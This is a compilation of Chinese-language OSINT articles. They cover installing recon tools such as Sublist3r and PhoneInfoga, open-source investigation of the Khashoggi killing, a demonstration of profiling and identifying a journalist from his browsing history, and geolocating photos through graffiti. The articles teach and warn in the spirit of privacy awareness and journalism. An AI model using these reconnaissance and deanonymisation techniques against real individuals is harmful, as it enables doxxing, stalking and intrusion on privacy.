alias gasmask='python ~/gasmask/gasmask.py'
```

使用：

```
gasmask -h
```

Sublist3r

「图」

「图」

GitHub page: https://github.com/aboul3la/Sublist3r

这是一种子域名快速枚举工具，其设计原理是基于通过使用搜索引擎，从而对站点子域名进行列举。

必要时可以暴力破解。

Git or Pip? ：Git

控制台命令：

```
git clone https://github.com/aboul3la/Sublist3r cd Sublist3r sudo pip3 install -r requirements.txt python3 sublist3r.py -h
```

Alias:

```
alias sublister='python3 ~/Sublist3r/sublist3r.py'
```

使用：

```
sublister -h
```

PhoneInfoga

「图」

「图」

GitHub page: https://github.com/sundowndev/PhoneInfoga/

这是一种针对手机号的开源情报收集工具。该工具可以抓取数十个资源在目标电话号码上进行 OSINT。准确性很高。

- 检查电话号码是否存在且是否可行
- 收集国家/地区，线路类型和运营商等标准信息
- OSINT足迹使用外部 API，Google Hacking，电话簿和搜索引擎
- 检查声誉报告、社交媒体、一次性号码等
- 一次扫描多个号码
- 使用自定义格式进行更有效的OSINT侦察

Git or Pip? ：Git

控制台命令：

```
git clone https://github.com/sundowndev/PhoneInfoga cd PhoneInfoga sudo pip3 install -r requirements.txt python3 phoneinfoga.py -h
```

Alias: `alias='python3 ~/PhoneInfoga/phoneinfoga.py'`

使用：phoneinfoga -h

好了，如上，这就是构建您自己的自定义 OSINT Linux 机器指南。

如果您之前没有 Linux 经验也没有安装并运行过这些程序，这些简易的方法将很有帮助，它们可以用来做一些非常强大的事。

当然可以使用相同的方法来安装其他基于 GitHub 的工具，如 Skiptracer，Knock，Cloudflair 等等。

本指南及其前面的指南应该清楚地表明创建自己的自定义 OSINT VM 有多么简单。

在下一篇文章中将解释如何克隆和备份您的 OSINT VM，以防它中断、如何将其传输到另一台计算机上、以及如何在需要时对其进行哈希处理。之后我还会为 Firefox 和 Chrome 推荐一些有用的OSINT插件。

下次见！〇

原文

检查沙特领事馆监控视频寻找与记者 Khashoggi 被杀事件相关的线索 - iYouPort

开源情报-每个人都可用的武器

动员公民加入开源调查，收集有关 Khashoggi 失踪的信息

「图」

10月8日，一张照片在 WhatsApp 群组流传，展示了沙特异议记者 Jamal Khashoggi 通过后门进入伊斯坦布尔的沙特领事馆的画面。自那以后，他就再也没出来。

后来，包含这张照片画面的视频在土耳其电视台被播出，显示 Khashoggi 于10月2日下午1点14分进入领事馆，假设 CCYV 的时间戳正确。Khashoggi 的未婚妻证实了镜头中的男人确实是他。

Christiaan Triebert 对这段录像进行了地理定位，确认它确实展示了沙特在伊斯坦布尔领事馆的后门。

「图」

在纽约时报的 Khashoggi 失踪时间表中可以找到更清晰的地图显示位置，突出显示了领事馆的后门。

「图」

NYT

在下面这段视频中，一辆 Mercedes Sprinter 停在后门附近，牌照很模糊。Timmi Allen 使用了许多图像分析工具来确定车牌号码，类似于用来识别乌克兰记者 Pavel Sheremet 暗杀现场附近车辆牌照的方法（推荐一个纪录片“Killing Pavel”）。 这辆面包车的车牌号是 34 CC 2342，对应伊斯坦布尔（34）的代码和领事馆（CC）使用的车辆。

「图」

虽然没有任何证据表明该车辆涉及沙特记者的失踪案，但其车牌进一步验证了泄露的 CCTV 视频所描述的东西。然而，还有另一辆梅赛德斯汽车 — Vito — 涉嫌参与了 Khashoggi 的谋杀或绑架事件。这辆梅赛德斯 Vito 离开了领事馆，于下午3点09分抵达总领事馆的大约 200 米处，距离 Khashoggi 进入沙特领事馆约两小时。

这辆 Mercedes Vito 的车牌是 34 CC 1865，与其他车子具有相同的在伊斯坦布尔领事馆登记的四位数和字母。

土耳其媒体报道说，这辆面包车在 Khashoggi 失踪前一天“做过一次演习”以了解领事馆和总领事馆之间的路径，表明这辆面包车被用来运送 Khashoggi（无论是活着的还是死的）或者与他可能发生的谋杀有关的其他物品。

随着伊斯坦布尔成为世界上最大的和高度连通性的城市之一，可能还有未被发现的数字证据能显示这两辆车在 Khashoggi 失踪时及之后出现。其中一些数字来源包括用户生成的内容（上传的视频、照片和来自社交网络和其他共享平台的见证者帐户）公共访问照片和视频（例如 网络摄像头或交通的实时馈送），甚至可能包括卫星图像。

已经有一些成功的众包活动开始收集有关 Khashoggi 失踪的信息。如果您有关于 Khashoggi 失踪的调查结果 — 特别是沙特阿拉伯驻伊斯坦布尔领事馆使用的车辆的信息，请联系 Bellingcat

附 — — Jamal Khashoggi 失踪的时间线

「图」

9月28日星期五 —— Khashoggi 首次访问领事馆

自去年以来，沙特阿拉伯公民 Khashoggi 一直生活在美国的自我流放中。他访问了伊斯坦布尔的沙特领事馆，以获取一份文件，允许他迎娶土耳其未婚妻，但被告下次再来。

那天下午他离开伊斯坦布尔，飞往伦敦参加一个会议。

在访问之后的某个时刻，很可能是在周末，Khashoggi 打电话给领事馆说他可以在下周二回来取文件。他的未婚妻 Hatice Cengiz 说，领事馆的某个人后来打电话给她，要求他在当天下午1点30分进来。

9月29日星期六 —— Khashoggi 前往伦敦

「图」

Jamal Khashoggi 于9月29日在伦敦召开的一次会议上发表讲话，路透社他在失踪前三天对他进行了采访

Khashoggi 先生在会议上发言，该会议由非营利组织 Middle East Monitor 主持。

10月1日星期一 —— Khashoggi 前往伊斯坦布尔

Khashoggi 先生在伦敦会见了两位朋友共进午餐，讨论他起草的关于阿拉伯世界言论自由的专栏。这些朋友后来表示，他似乎并不关心他计划返回土耳其领事馆的事。

Cengiz 女士说，周一晚些时候他回到了伊斯坦布尔。

10月2日星期二 —— Khashoggi 消失了

当日 3:13 a.m，一个私人包机载有 9 名沙特官员和情报人员，一些人持有外交护照，抵达利雅得，沙特阿塔图尔克机场伊斯坦布尔。

这架飞机是由 Sky Prime 航空服务公司拥有的一架湾流喷气式飞机，该公司位于利雅得，长期与沙特政府合作。

「图」

在 Khashoggi 先生失踪之前几小时，湾流喷气式飞机的照片被认为是从利雅得飞往伊斯坦布尔的沙特官员和情报人员。 AirTeamImages

沙特官员入住伊斯坦布尔金融区沙特领事馆附近的两家酒店，预订房间三晚。他们后来回来取他们的财物，并在同一天离开了。土耳其新闻机构沙巴公布了土耳其官员已确定为飞往伊斯坦布尔的沙特特工的15名男子的照片。

「图」

下午1点14分，Khashoggi 先生进入了领事馆。他把两部手机交给了 Cengiz 女士，并告诉她如果他不再出现就去找人帮忙。

一名土耳其高级官员说，在他抵达后两小时内，Khashoggi 先生被一队沙特特工杀害，他们用他们为此目的带来的骨锯肢解了他的尸体。

包括王储穆罕默德·本·萨勒曼在内的沙特官员坚持声称 Khashoggi 先生在抵达后不久“自由离开领事馆”，但没有证据支持这一说法。

沙巴报道，下午4点左右，六辆车离开领事馆，载着沙特官员和情报人员。

另外两辆车开往位于 Meselik 街的沙特领事馆，停在距离领事馆 200 码。沙巴报道，调查人员怀疑 Khashoggi 先生在其中一辆车里。车辆停留了四个小时。尤其值得注意的是，他们告诉此处的土耳其工作人员当天不报告工作。

「图」

下午5点15分左右，第二架载有六名沙特官员的 Sky Prime 航空服务喷气式飞机降落在伊斯坦布尔的阿塔图尔克机场。它在一个多小时后于下午 6:20 离开，并在开罗停留，然后返回利雅得。

下午10点46分，周二早些时候抵达的喷气式飞机从伊斯坦布尔出发前往迪拜。

Cengiz 女士在领事馆等待 Khashoggi 先生直到凌晨1点，但他没有出现。

10月3日星期三

Cengiz 女士于周三早上返回领事馆，但仍然没有 Khashoggi 先生的任何迹象。当天应该是他们的结婚日。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

浏览历史记录曝光你的内心全景图：开源调查演示 - iyouport

开源情报-每个人都可用的武器

【2018年11月19日存档】切勿轻视您留在互联网上的任何一点数据，它们汇总起来将是非常致命的。一旦落入有目的的人之手，就极有可能令您陷入危险。上周我们发出了一个游戏邀请，请您通过使用开源调查汇总目标人的数据，以日记的形式构建目标人的生活和思想。本文是 **IYP** 对这一游戏的演示。是的，这是一个较为极端的演示，我们的游戏参与者不必如此模仿，仅希望您能通过这篇演示了解到谷歌有多可怕。

这是一个星期五的早晨。J 先生在新加坡人民公园附近的一间公寓的床上醒来。粉红色床单、米色墙壁、谦虚简约的装饰使 J 先生感到舒适。以每晚 44 美元的价格从 Sarah 租来这个地方并不是一个坏主意，Sarah 是一个非常随和的东道主，一个在新加坡生活了一年多的美国人，曾经在欧洲和东南亚各地旅行和生活过。

J 先生醒来的房间位于一栋独特的 103 米高的建筑物中，名为 People’s Park Complex，这是东南亚第一个同类购物中心，为新加坡的后期零售业发展奠定了基础。那个星期五早上，从这个社会最奢华的建筑物之一的 22 楼放眼望去，景色很美。

天气晴朗，炎热潮湿，通常是4月，所以淋浴时的水不够热的事实并没有太多打扰 J 先生。无论如何，在新加坡的热带气候中难道还有人想要热水浴吗？

此地是 J 先生在新加坡过去几天内的任务基地，他于4月7日从香港飞来。前一周是不同会议的混合，除了他对汉堡的喜爱之外，J 先生的想法很少（他真的很喜欢通过旅行在不同的地方探索）。这一次，他的主要兴趣是单身人士的在线约会网站、城镇夜总会、移民女工问题、以及这个繁忙的东南亚港口的外籍人士的情况。作为一名瑞士籍

的外籍人士，这个话题也许会让他产生共鸣。

这几乎是一种解脱，因为前几周以来占据他的脑子的都是一些来自 YouTube 视频和纪录片的刺激，主要集中在战争雇佣军、英国和美国在阿富汗的部队的黑暗面。

这一天的开始像其他任何时候一样。此刻在苏黎世的家中应该是 01:36:04 ，在 J 先生拿起他的笔记本电脑并继续浏览网页时。

他在前20分钟内节奏缓慢; 他用谷歌搜索了“新加坡年轻女演员”，查看了 FehrAdvice＆Partners AG 的一位经理的 LinkedIn 页面，他来自苏黎世地区，看了一眼“新加坡 Joicy Chu 的明星”，并阅读了维基百科关于奥斯卡获奖纪录片“Taxi to the Dark Side”的文章，这是关于一名阿富汗出租车司机被美国士兵关押在巴格拉姆基地并被殴打致死的故事。

在深入思考他的新加坡探险之前，他查看了两个关于面试技巧的网站。在网上寻找新的工作机会对他来说已经有一段时间了。顺便说一下，大约一个小时之后，他的思绪就会徘徊在中年危机问题上了。 休息了12分钟后，他开始计划在城里度过他的一天。他需要做的第一件事就是乘坐 354 Admiralty Drive，花一小时的时间到达城市的北部。

在一个尚且陌生的城市里要去这么远的地方的想法可能会让人感到不舒服，J 先生正在放大和缩小谷歌地图，并多次检查不同的选项。

J 先生感兴趣的下一个位置似乎更有前途—瑞士俱乐部，成立于 1871 年，当时它被称为新加坡瑞士步枪射击俱乐部，这个地方的创始人奥托先生的朋友们经常抱着他们的步枪上在马里士他路的森林里进行一些严肃的射击练习。今天，该俱乐部是一个花哨的上层俱乐部，有游泳池、餐厅和宾馆。

以上每一个字均来自对在线数据的窥视

– I—探索浏览历史

「图」

以上这个小故事基于一个小小的摘录，只有一个两小时的样本，完全来自瑞士记者 **J** 先生的互联网浏览历史。2015 年6月下旬，他参观了柏林的战术科技办公室，并且他参加了这个开放私人生活的游戏——

即 看到通过他在自己的设备上创建的数据，老大哥可以得到什么。

我们探索的其中一个数据集是 J 先生的浏览历史收集。我们的目标是找出我们可以从一个人的浏览历史中挖到多少东西，或者，换句话说，任何人可以仅仅通过利用一个人的浏览记录得到哪些信息。

查找浏览历史记录背后的真实姓名和社交图

查看数据集只需要花几分钟时间，以关联此浏览历史记录背后的人的真实姓名。只需对他的 Facebook 流量进行排序，即他访问的个人资料页面，就能识别到真人。

由于 Facebook 正在实施“实名制政策”，这是将某人的浏览历史记录与其真实姓名联系起来的一种邪恶方式。有许多学术论文讲述了如何根据用户的浏览模式和行为识别身份的模型。 探索 Facebook URL 则更容易曝光某人的隐私，仅仅根据 URL 的结构，我们就能够重建这个人的社交关系图的一部分—— 是的，这种方法可以揭示任何追求实名上网的中国用户的私密生活，以及任何使用实名制的应用程序的用户，包括没能按照基本步骤采取匿名的用户。

这个故事仅仅依据 Facebook。对于中国的微信来说，您将“收获”更多。

—— J 先生的意图，愿望，需求和偏好 ——

「图」

在 2005 年的研究中，行业分析师 John Battelle 将谷歌描述为“意图数据库”，这是’一个庞大的点击流数据库，包含可以被发现、查询、存档、跟踪和利用一个人的欲望、需求、意向和偏好’。从某人的浏览历史中探索就可以为我们提供很多线索。

不同形式的 Google 相关网址可以揭示不同的有趣信息。 首先，最基本的信息隐藏在国家域名中，仅在此基础上，我们就能够看出 J 先生正在浏览哪个国家/地区的网页。

下图显示了 J 先生的在线世界，包括他在两个月内访问过的所有网站。通过这种社交网络分析，我们可以看出谷歌在他的在线活动中占据主导地位。是的，这就是危险所在（点开大图）

通过解析 Google URL 的查询段，我们可以跟踪 J 先生在此期间的兴

趣、需求和思路。如果将来自 YouTube（另一项 Google 服务）的网址添加到此，则 J 先生的“云”思想就会更加完整了。

现实挖掘：**J** 先生在哪里，以及想要去哪里

地理信息系统 如 谷歌地图是很难避免的。通过将物理层与多个信息层相结合，通过移动电话的位置数据进行增强，它们已经确立了自己作为导航物理空间、大城市复杂的公共交通系统、商业和社会服务、历史信息、甚至包括野生口袋妖怪生物及其训练中心空间的必要工具。

并且，这些地理信息系统为我们提供的服务不仅包括人们的在线行为数据，还包括人们如何与物理空间互动的信息。

当 J 先生在谷歌地图上搜索某个位置时，或者试图找到他的下一个目的地的路线图时，我们可以从他的浏览器历史记录中轻松提取相关信息。例如，看到 Google 地图向他建议的确切路线和交通工具的网址，或者从浏览日志中查看被他手动放大或缩小的地图上的点，你试试看？这是非常具有侵入性的。

并非所有这些位置标签都代表了他的确切位置，其中一些可以被解释为他的意图、愿望或偏好。总而言之，这些信息可以描述物理信息景观中的概况，其中他的实际位置与他的兴趣或愿望的位置混合在一起。

住宿＋早餐

探索我们可以在某人的浏览历史中找到的其他服务，可以更深入地了解某人的生活。我们用 J 先生在新加坡醒来的这张床上开始了整个故事。

从他的浏览历史中找到的 Airbnb 页面得到了他的床的照片。当有人选择在 Airbnb 上租用哪套公寓时，我们都可以看到一个类似的清晰的模式。

通常都是首先浏览不同的选项，但是，当用户心中做出决定时，他们就需要与公寓的所有者取得联系，这是一个可以在浏览历史记录中显示出来的心理活动。例如，将此信息与来自 Google 地图的网址相交，可以帮助我们确认某人在该特定公寓住宿的位置和时间。

「图」

我们还可以探索许多其他服务。例如，浏览某人的 **Yelp** 历史记录可以帮助我们了解他们的食物偏好。同样，不同服务的组合还可以揭示一系列的思想和事件，并帮助构建某人的真实行为。例如，在某一时刻，J 先生正在浏览网页，探索他感兴趣的常用主题，然后他开始在城镇的某个特定区域探索 Yelp，使用谷歌地图导航到确切的位置，然后登出。

—— 探索模式：算法眼中的习惯生物 ——

「图」

我们人类都是习惯的生物，我们倾向于在日常行为中创造重复的模式。我们倾向于在相似的时间睡觉和醒来，相似的早晨惯例、相似的社交互动仪式。如今，由于我们生活的许多部分都是由技术调节的，因此这些模式通过不同的数字足迹得以复制和可见。

当识别出模式时，异常检测就诞生了。正如 Pasquinelli 所说，模式和异常的两个认知极点是算法治理的同一枚硬币的两面，只能在模式规律性的基础上检测到意外的异常（“Anomaly Detection: The Mathematization of the Abnormal in the Metadata Society”, Matteo Pasquinelli (2015)）。

模式识别和异常检测都被用作理解大量数据的方法，我们所有人的数字足迹正被许多参与者—— 全球政府机构、互联网公司和服务提供商或数据交易商 即第三方，所收集。

在算法的眼中被认为是“异常”的东西就可以将您列入政府机构的重点监视列表，或者某些行为模式可以导致您被标记为在线广告的投放目标—— 这也是为什么我们自己也许都无法识别自己的模式“异常”，但政府知道，数据中间商知道，任何一个老大哥都知道。 在 J 先生的简单条形图和热图的情况下，基于浏览动作的次数就可以揭示出几种行为模式。

我们将在下周的文章中详细演示电子邮件元数据开源调查的可怕现实，⚠它已经非常值得警惕，生活模式分析是一种专门用于记录或理解受试者私密习惯的监视方法。它是一种计算机化的数据收集和分析方法，用于确定受试者的过去行为、确定其当前行为、并预测其未来行为—— 是的，少数派报告，但已经不是小说。

只需快速浏览一下这张热图，就可以揭示 J 先生在香港和新加坡（4月5月26日至26日）旅行期间的行为差异，以及他在瑞士逗留期间的

更有条理的行为模式。

我们可以发现从5月1日到5月7日晚的潜在假期（离线）时段，工作日和周末之间的差异，以及他最喜欢的午休时间。 模式不仅可以在某人浏览的频率水平上进行探索，而且还可以探索随着时间的推移浏览历史记录中的特定网站或服务。

—— 跟踪器 ——

「图」

不同的参与者试图获取一个浏览历史的不同部分，这取决于他们在数据流中的位置。几乎每一个在线环境中的移动都被数百个不同的隐形跟踪器跟踪和记录，这些跟踪器是一个隐藏的和无声的“传感器”网络，它们收集有关您的在线动作的所有信息，而您根本不会发现任何迹象表明它们存在。

我们使用了一种方法来映射 J 先生正在访问的网站背后的跟踪器，这些跟踪器基于为 Trackography 开发的工具 Tactical Tech 的项目。在下图中，您可以找到他们背后的所有跟踪器和公司。（点开大图）

—— 深挖 ——

「图」

之前的例子只是探索 J 先生的浏览、关系和意义的表面层次，仅从 URL 本身中提取。引起他注意的所有文本、图片或视频的真正含义，当然并不总是只从访问过的页面的 URL 中直接看到。为了更深入地了解他的经验，我们需要深入了解内容本身。

如果我们放弃不合理的想法，从某人的浏览历史中读取每篇文章，并标记每个内容（那太累了），一个明显的选择是找到一种从内容中自动提取关键词和含义的方法—— 这就是中国、美国等国家的审查者和情报人员使用的方法。

对于这项调查，我们选择测试一种可用的解决方案，该解决方案使用一种人工智能、机器深度学习方法进行文本分析—Cloud Natural Language API。 根据 Google 的说法，这个附加到其深度学习平台的工具可用于提取有关人员、地点、事件等信息，这些信息可在文本文档、新闻文章、或博客文章中提及。它可用于了解社交媒体上的情绪、或通过呼叫中心或消息传递应用中发生的对话来解析意图。

回到我们在星期五早上的故事开头，当 J 先生阅读维基百科关于纪录片“Taxi to the Dark Side”的文章时—下面就是 Google 自然语言、深度学习平台了解 J 先生正在阅读的内容：

很明显，这种工具可用于分析我们所有人的在线行为，更准确地说，用于识别游戏中各种参与者感兴趣的关键词、人物或位置。这是在更深层次上理解和分类某人的行为、需求和兴趣的重要步骤。

类似的做法，用于从 Facebook 、微信等平台上创建的内容中提取和聚类主题和关键词，以便将用户行为转化为利润。

但是，你知道的，相同的过程可以潜在地用于完全不同的目的，例如将用户与政府机构的“特别感兴趣的”关键词、人或位置相关联。

谁有权浏览这些数据？

「图」

了解谁可以访问我们的浏览历史以及分析它的可能性，将使我们深入了解信息社会中新的权力结构和财富分配。

浏览器—— 用于 Web 浏览的基本软件是浏览器。本质上，它是一种软件，可将用户的命令（最常见的 URL）转换为服务器可以理解的请求，然后以用户可理解的方式表示服务器的响应。因此，浏览器是这个拼图中的单个部分，其中包含有关用户浏览习惯的所有数据。大多数现代浏览器允许创建配置文件，即允许用户登录，并在他们使用的所有设备上具有相同的设置、书签和历史记录。这意味着他们正在将这些数据传递到一个中心点，该中心点由构建特定浏览器的公司/组织所拥有。我们现在都知道这家公司是谁**……**没错，**Google**。

Cookies—— 超过 50% 的网站使用 cookies . Cookie 收集的数据有不同的应用程序，其中一些确实影响功能（本地化和用户特定设置，但最广泛使用 Cookie 的是广告。更准确地说，对用户的习惯进行分析。许多 cookie 收集有关引荐来源 URL 地址的数据。

Network—— 互联网作为一个网络是一个非常物理的东西，它由服务器、电缆、路由器和其他网络设备组成，使流量能够流动。这些网段由不同的实体建立，大多数时候是控制网络基础设施的公司，但不是所有网络在物理和技术上都是安全的。攻击者可以通过多种方式连接到网络，并嗅探数据流量，虽然密码和财务详细信息等数据通常是加密的，但 **URL** 则不会加密，这就会将它们带到网络嗅探器的触及

范围之内。

悲剧的法律—— 许多国家的立法都有所谓的数据保留法，要求 ISP 和电信公司保留6个月到2年的元数据，具体取决于您在哪个国家/地区。这意味着，如果访问您的保留数据，就能看到在两年前您正在访问的所有网站，所有在线行为，也就是您的全部生活，因为如今每个人都将内心留在互联网上了。对于使用 SSL / TLS 的网站，只有域名可见，而不是完整的 URL，但这并不会使这些保留的数据不那么具有侵入性，因为其逻辑映射可能导致任何种类的不同结论。

IV—从过去到现在

「图」

> 您认为这是现代数字世界的“创新”性人权灾难？不不，它有深远的历史。

19 世纪的根源

1850 年代美国海军上尉 Matthew Fontaine Maury 通过美国海军天文台发现了数千艘旧船的原木。当时，在航行完成后，日志不被视为重要信息。源于他的痴迷，他开发了一种方法，系统地从每个日志中提取关键信息，并开始手动绘制地图信息，使用超过 1,200 万个数据点，以提高船舶的导航速度和安全性。

他被认为是我们今天称之为大数据分析的先驱之一，他是第一个认识到由数千个较小数据块创建的信息之价值的人。但对于我们的背景来说，这个故事还有另一个有趣的方面。

他的地图被证明是非常有用和成功的，不仅在海军内部，而且在商船之间。了解新数据收集的重要性，Maury 建立了交换船舶原木地图的原则。这种提供产品或服务的做法，在他的情况下映射，以换取航行日志，就如今天的浏览历史数据，这就是 **150** 年后 **Google** 或 **Facebook** 等当代数字极权的主要商业模式的基本组成部分。

再倒退十年，19世纪40年代，在大西洋的另一边，在英国，还有另一个与我们的故事相关的重要历史事件。根据 David Vincent 的说法，这一时期促进了我们现在称之为社交网络的创造，利用当时的信息技术（邮政服务）来扩展个人互动领域，通过在一天内来回交换邮件，可以在城市内进行对话、安排和参与会议。

在 1840 年之前，邮政服务主要由政府控制之外的非正式信函分散网络运行，旨在规避皇家邮政的高额费用。当 Penny Post 作为一个集中的，低成本的政府邮政服务被引入时，由于担心日益增长的工人阶级运动，“保护国家免受内部威胁”（也就是维稳），因此抹杀了隐私问题。这使政府能够获得公民的邮政通信，并且第一次系统性地统计了一个国家的通信实践并生成了统计数据。

正如 Vincent 所描述的那样，现在可以进行同样的统计测试。它更加微粒化、体积更大、更快速，与十九世纪不同，它还涉及跨国公司的利润。

“秘密办公室”在 1650 年代形成，并在邮政总局内作为卧底国家间谍机构运作。该办公室的主要工作就是拦截英国和海外之间的邮件，并阅读它们。在19世纪40年代，秘密办公室以某种方式被暴露，并就其行为接受了调查。

现在：走向思想警察

「图」

> *“There was of course no way of knowing whether you were being watched at any given moment. How often, or on what system, the Thought Police plugged in on any individual wire was guesswork. It was even conceivable that they watched everybody all the time. But at any rate they could plug in your wire whenever they wanted to. You had to live—did live, from habit that became instinct—in the assumption that every sound you made was overheard, and, except in darkness, every movement scrutinized.”—— 1984, George Orwell*

George Orwell’s 1984–1954 BBC TV Movie

人们一直在努力减少“电子通信交易记录”，仅仅是关于一个人行踪的额外信息，就像调查人员从线人那得到的东西。或者通过所谓的“国家安全”借口获得的，这是一种行政传票，使美国联邦机构能够在没有事先司法监督的情况下收集公民的隐私信息。

2016 年2月举行的听证会上，坐在美国参议院特别委员会面前，FBI 负责人提到增加有争议的关键字过滤；当时的六年前，在类似的意图

失败之前，美国政府对通信内容完全漠不关心，只寻求其技术性记录，认为“获取元数据会更快更容易”; 所有已经存在的数据，每次点击都会大规模生成。（详见我们本周后期的具体演示）

但是电子通信交易记录或通信数据—例如拨打的号码、发送的文本消息的接收者，所涉及的设备的 IP 地址，特别是所访问的网络域名的记录—经常能显示出比内容本身更多的隐私信息，我们将就这一问题做一系列详细说明和开源调查演示。用隐私组织的话来说：“这些信息可以揭示一个人的政治关系，医疗条件，宗教信仰，药物滥用史，性取向，甚至他或她的全天活动的细节，”描绘出一个人最私密的生活全景图。

Snowden 揭露的国家安全局 一个名为 Xkeyscore 的计算机系统，用于搜索和分析全球互联网数据时（美国国家安全局每时每刻都收集的东西），对通信数据的渴望的真正范围被揭示出来。作为“从互联网开发情报的最广泛的系统”，包括电子邮件的内容、访问和搜索的网站，以及他们的元数据，Xkeyscore 允许 NSA 分析师在没有事先授权的情况下搜索其庞大的数据库。

由 DARPA 资助的另一个项目可以让我们深入了解数据收集和分析的未来应用。多尺度异常检测（ADAMS）程序可创建、调整和应用技术，以便在海量数据集中进行异常表征和检测。数据中的异常提示在各种现实世界环境中收集额外的可操作信息。

该项目基本上通过分析个人的浏览习惯以及其他数据源（例如手机日志或位置数据），创建了在军事等大系统中识别下一个 Edward Snowden 或 Chelsea Manning 的平台。

数据热潮绝不仅限于西方所谓的“反恐战争”管理者和其他政党，但它拥有同样的普遍借口，即所谓的“国家安全”—— 是的，这是当今世界最大和最流行的狡辩之词。

例如，中国认为现在是时候将游戏向前推进一步了：最大的国营防务承包商之一中国电子科技集团正致力于开发收集和整合数据的软件，关于工作、爱好、消费习惯、和普通公民的其他行为数据。官员们宣布，这个被称为预测性警务数据平台的“统一信息环境”将首先在少数民族人口的地区进行测试。除了传统的数据收集方式，该平台还整理了中国公民的在线行为数据。

您还认为“技术性解决方案只是 IT 界书呆子才应该具备的知识”吗？是否能掌握基本的隐私保护技术已经事关您的安危！

谁是 J 先生？

「图」

那么，我们真的可以通过浏览历史记录中的 URL 来真正了解 J 先生是谁吗？

您已经看到，从 J 先生的浏览历史中收集的数据就能提供对他在某一天内的意识流的惊人洞察。我们只是在做最简单的演示，而真正的老大哥可以拿到更多的数据来确认这些思想所具有的实际意义的任何可能性。无论哪种方式，J 先生仍然暴露。J 先生可能只是一个普通的、体面的、有点疲惫的家伙，寻求从职业跑步机上获得短暂的喘息。而完全放弃了自己的隐私权。

我们只希望您不是他。〇

原文

涂鸦的线索：在开源情报调查中利用街头艺术 - iyouport

开源情报-每个人都可用的武器

有些涂鸦具有地标的重要性，而另一些，也许可以关联到更多线索以尽可能缩小可能性范围

尽管情况并非总是如此，但涂鸦和其他形式的街头艺术的存在对于调查人员寻找有关照片或视频的更多信息是有帮助的。

街头艺术可以成为对图像进行地理定位的多种方法之一，特别是在艺术家很有名气或以保持社会影响力为目的的涂鸦的情况下。由于街头艺术通常是临时性的，会因其他艺术家的移除、覆盖或污损而发生变化，因此它也提供了一个参考点，可以与同一地区的其他照片进行比较，以确定照片的大致拍摄日期。

避免您错过了我们此前相关的另一份指南《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》。

本文是 secjuice 介绍的例子，应该有助于您学习一些基本的流程，关于如何对含有涂鸦和其他形式的街头艺术的照片或视频进行地理定位或分析，以便进行开源情报调查。请记住，有许多传统的开源情报和地理定位技术都适用于街头艺术。如果您对追踪定位的技巧感兴趣，可参见我们的 列表-5 “侦探挑战”，那个板块中演示的案例大多与此有关。

艺术家

「图」

有时，确定艺术家的名字就可以通过他们的社交媒体页面或个人网站找到他们的作品所在地。许多艺术家会在作品上签上自己的签名，或者作品可能完全由他们的别名组成。此外，有些艺术家的风格在野外发现时很容易被认出来，因为他们重复的人物或主题以及独特的材料

或技术。如果一个用户没有在自己的页面上发布自己的作品，你依然可以以标签的形式搜索他们的涂鸦名字，或者看看他们的账户是否被其他爱好者标记在任何帖子中了。你也可以在网上的涂鸦数据库中搜索艺术家的别名，试试运气。

从上面的例子来看，没有签名或其他迹象表明艺术家是谁。谷歌的反向图像搜索也没有任何结果，但是Yandex为我们提供了类似的作品，很可能是同一个艺术家的作品，虽然没有完全匹配。

您可以把图片裁剪下来，只剩下画作本身，再做一次反向图像搜索。这可以让Google找到类似的作品，暂时抛开 Yandex。

从相似的匹配艺术品中可以看出，根据建议的匹配图像，该画家很可能是一位法国画家，名为 “Invader”。

如果反向图像搜索没有结果，也可以在谷歌或其他搜索引擎中详细描述这件艺术品。您可以看到，这幅作品并没有使用传统的喷漆或马克笔，而是由小块瓷砖组成的。可以在谷歌中进行简单的搜索 “像素瓷砖涂鸦”、“涂鸦瓷砖艺术家”、或 “涂鸦马赛克艺术家” 等等，其返回结果均为 Invader。

从这里，您可以确认 Invader 有很多作品，通过观察它们的相关图片，可以确认它们与我们最初的照片的主题和风格非常吻合。这与我们之前从反向图像搜索中收集到的信息相吻合。

翻看 Invader 的 Instagram，有大量的照片。一下子无法找到我们开始追踪的具体作品。但您知道，原图像中有一块缺失的瓷砖，可以看到白色瓷砖上有一些磨损。除此之外，很难确定这个作品是多久以前创作的。换个角度，翻阅 Invader 网站上列出的城市，尝试将范围缩小到城市层面。

在翻阅地图后，首先聚焦在那些靠近水体的地方，就像照片的背景所暗示的那样，能够确定这张图片是在圣地亚哥拍摄的。回到谷歌，可以在 “Invader 圣地亚哥涂鸦” 的谷歌dorks中添加这个城市。

关于谷歌dorks的基本用法在这里。

根据新闻发布，可以看到这幅作品是在2010年被贴出来的。根据这个网站，还可以将原照片的地理位置定位到加利福尼亚圣迭戈的Tuna Harbor Park，在中途岛号博物馆对面。

我们现在知道了照片的拍摄地点，但它是什么时候拍摄的呢？我们知

道应该是在2010年7月左右的某个时间。在那之后，事情变得有点不稳定，因为似乎原件在某个时候被移除过。

可以看到，在2011年4月那块东西已经不在了，尽管您仍然可以看到之前安装它的那个空间。

翻阅街景图上的日期，直到2019年4月才看到该艺术品再次出现，最后一张照片显示它于2018年4月丢失。

对比 Invader 网站上的图片和目标图片，可以看到两张照片中混凝土结构顶部那个圆柱形的东西位置有所不同。在目标照片（左）中，这个艺术作品似乎向左移动了，而在 Invader 的原始照片（右）中，它与那个圆柱形的东西之间有很大距离。此外，在 Invader 网站上拍摄的原图中，这些瓷砖更靠近边缘。我们还可以看到，照片中的瓷砖有磨损。

根据以上情况，可以得出结论，目标照片很可能不是原作，可能是2018年4月之后某个时间重新安放上去的翻拍。所以，如果这是一个目标事件的发生地点，现在您知道它很可能不是在2018年4月前发生的。

作品

「图」

艺术品本身也可以根据反向图像搜索或通过寻找当地的图标、术语或象征意义来提供照片拍摄地点的线索。

可能命中或不能，取决于艺术品和作品或艺术家的知名度。知名度越大命中率越高。留意当地的旗帜、短语、颜色和术语，它们可能会提供一个通用的参考点。识别艺术品中的任何人物也可能有助于找到艺术家或在网上找到该作品的其他参考资料。

另外，还要注意图像中是否有帮派关系的迹象。较大的帮派在世界各地都有代表，发现涂鸦中的帮派形象可以帮助缩小任何已知帮派领地的可能位置。最后，注意作品目前看起来有多破旧，以及是否存在污损、移除痕迹、或重叠的标签或贴纸，以便收集作品有多旧的基线。

